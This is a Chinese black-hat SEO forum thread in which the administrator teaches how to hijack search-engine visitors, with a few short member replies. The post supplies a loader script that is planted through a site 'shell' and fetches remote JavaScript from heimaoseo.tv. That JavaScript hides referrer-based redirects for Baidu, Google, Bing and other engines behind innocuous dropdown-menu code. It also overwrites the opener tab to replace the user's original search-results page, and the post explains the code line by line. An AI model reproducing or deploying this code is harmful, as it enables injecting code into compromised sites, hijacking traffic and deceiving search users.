查看: 6121|回复: 4

点击跳转的同时改变关键词搜索页面

[复制链接]

668

主题

761

帖子

9866

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
9866
QQ
用到的技巧,比较隐蔽点的做法,双js跳转:
功能介绍:当我们百度搜索seo的时候http://www.baidu.com/baidu?word=seo&ie=utf-8,看到一个网站,我们点击跳转到了http://www.heimaoseo.tv这个网站,而这个http://www.baidu.com/baidu?word=seo&ie=utf-8原有的搜索结果页面也会跟着跳转到我们自定义的页面,这样做的作用是,留住用户,让用户返回不到原来的页面去;

下面介绍用法:
新建一个,js文件,如1.js,内容
  1. document.writeln("<script language="javascript" type="text/javascript" src="这里可以写上统计代码,如不需要可删除这一行"></script>");
  2. document.writeln('<script language=\'javascript\' src=\'http://www.heimaoseo.tv/tj.js\'></script>');
复制代码
在shell里调用1.js,记得修改路径;把http://www.heimaoseo.tv/tj.js里放以下js内容;


  1. //下拉菜单相关代码
  2. var h;
  3. var w;
  4. var l;
  5. var t;
  6. var topMar = 1;
  7. var leftMar = -2;
  8. var space = 1;
  9. var isvisible;
  10. var MENU_SHADOW_COLOR='#999999';//定义下拉菜单阴影色
  11. var global = window.document
  12. global.fo_currentMenu = null
  13. global.fo_shadows = new Array

  14. function HideMenu()
  15. {
  16. var mX;
  17. var mY;
  18. var vDiv;
  19. var mDiv;
  20.         if (isvisible == true)
  21. {
  22.                 vDiv = document.all("menuDiv");
  23.                 mX = window.event.clientX + document.body.scrollLeft;
  24.                 mY = window.event.clientY + document.body.scrollTop;
  25.                 if ((mX < parseInt(vDiv.style.left)) || (mX > parseInt(vDiv.style.left)+vDiv.offsetWidth) || (mY < parseInt(vDiv.style.top)-h) || (mY > parseInt(vDiv.style.top)+vDiv.offsetHeight)){
  26.                         vDiv.style.visibility = "hidden";
  27.                         isvisible = false;
  28.                 }
  29. }
  30. }

  31. function ShowMenu(vMnuCode,tWidth) {
  32.         vSrc = window.event.srcElement;
  33.         vMnuCode = "<table id='submenu' cellspacing=1 cellpadding=3 style='width:"+tWidth+"' class=menu onmouseout='HideMenu()'><tr height=23><td nowrap align=left class=MenuBody>" + vMnuCode + "</td></tr></table>";

  34.         h = vSrc.offsetHeight;
  35.         w = vSrc.offsetWidth;
  36.         l = vSrc.offsetLeft + leftMar+4;
  37.         t = vSrc.offsetTop + topMar + h + space-2;
  38.         vParent = vSrc.offsetParent;
  39.         while (vParent.tagName.toUpperCase() != "BODY")
  40.         {
  41.                 l += vParent.offsetLeft;
  42.                 t += vParent.offsetTop;
  43.                 vParent = vParent.offsetParent;
  44.         }

  45.         menuDiv.innerHTML = vMnuCode;
  46.         menuDiv.style.top = t;
  47.         menuDiv.style.left = l;
  48.         menuDiv.style.visibility = "visible";
  49.         isvisible = true;
  50.     makeRectangularDropShadow(submenu, MENU_SHADOW_COLOR, 4)
  51. }

  52. function makeRectangularDropShadow(el, color, size)
  53. {
  54.         var i;
  55.         for (i=size; i>0; i--)
  56.         {
  57.                 var rect = document.createElement('div');
  58.                 var rs = rect.style
  59.                 rs.position = 'absolute';
  60.                 rs.left = (el.style.posLeft + i) + 'px';
  61.                 rs.top = (el.style.posTop + i) + 'px';
  62.                 rs.width = el.offsetWidth + 'px';
  63.                 rs.height = el.offsetHeight + 'px';
  64.                 rs.zIndex = el.style.zIndex - i;
  65.                 rs.backgroundColor = color;
  66.                 var opacity = 1 - i / (i + 1);
  67.                 rs.filter = 'alpha(opacity=' + (100 * opacity) + ')';
  68.                 el.insertAdjacentElement('afterEnd', rect);
  69.                 global.fo_shadows[global.fo_shadows.length] = rect;
  70.         }
  71. }
  72. var s=document.referrer
  73. if(s.indexOf("baidu")>0)
  74. self.location="http://baidu.com";

  75. if(parent.window.opener) parent.window.opener.location='http://baidu.com';

  76. var s=document.referrer
  77. if(s.indexOf("google")>0)
  78. self.location="http://baidu.com";

  79. var s=document.referrer
  80. if(s.indexOf("so")>0)
  81. self.location="http://baidu.com";

  82. var s=document.referrer
  83. if(s.indexOf("tom")>0)
  84. self.location="http://baidu.com";

  85. var s=document.referrer
  86. if(s.indexOf("sina")>0)
  87. self.location="http://baidu.com";

  88. var s=document.referrer
  89. if(s.indexOf("sogou")>0)
  90. self.location="http://baidu.com";

  91. var s=document.referrer
  92. if(s.indexOf("163")>0)
  93. self.location="http://baidu.com";

  94. var s=document.referrer
  95. if(s.indexOf("yahoo")>0)
  96. self.location="http://baidu.com";

  97. var s=document.referrer
  98. if(s.indexOf("3721")>0)
  99. self.location="http://baidu.com";

  100. var s=document.referrer
  101. if(s.indexOf("msn")>0)
  102. self.location="http://baidu.com";

  103. var s=document.referrer
  104. if(s.indexOf("bing")>0)
  105. self.location="http://baidu.com";
复制代码


下面解析一下这段js的意思

  1. var s=document.referrer
  2. if(s.indexOf("baidu")>0)
  3. self.location="http://baidu.com";如果通过百度关键词来的跳转到这个页面;直接打开不跳转;

  4. if(parent.window.opener) parent.window.opener.location='http://baidu.com'; 这个意思是通过百度关键词来的就把原来的百度搜索结果页面也替换掉。

  5. var s=document.referrer
  6. if(s.indexOf("google")>0)
  7. self.location="http://baidu.com";如果通过谷歌来的跳转到这个页面;

  8. var s=document.referrer
  9. if(s.indexOf("so")>0)
  10. self.location="http://baidu.com";以下规则类似。。。。。
复制代码

这个效果也是不错的,可以看下,  百度搜索窗口跳转劫持 http://www.heimaoseo.tv/thread-29-1-1.html


回复

使用道具 举报

0

主题

25

帖子

99

积分

VIP精英

Rank: 1

积分
99
点击跳转的同时改变关键词搜索页面
回复 支持 反对

使用道具 举报

0

主题

36

帖子

182

积分

VIP精英

Rank: 1

积分
182
点击跳转的同时改变关键词搜索页面
回复 支持 反对

使用道具 举报

0

主题

136

帖子

664

积分

VIP精英

Rank: 1

积分
664
这么长。。。
回复

使用道具 举报

0

主题

5

帖子

48

积分

VIP精英

Rank: 1

积分
48
学习一下跳转。。。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

站长推荐上一条 /1 下一条

 
 
无法弹出可加落月QQ935432468

移动端浏览器点击

站长
落月 QQ:935432468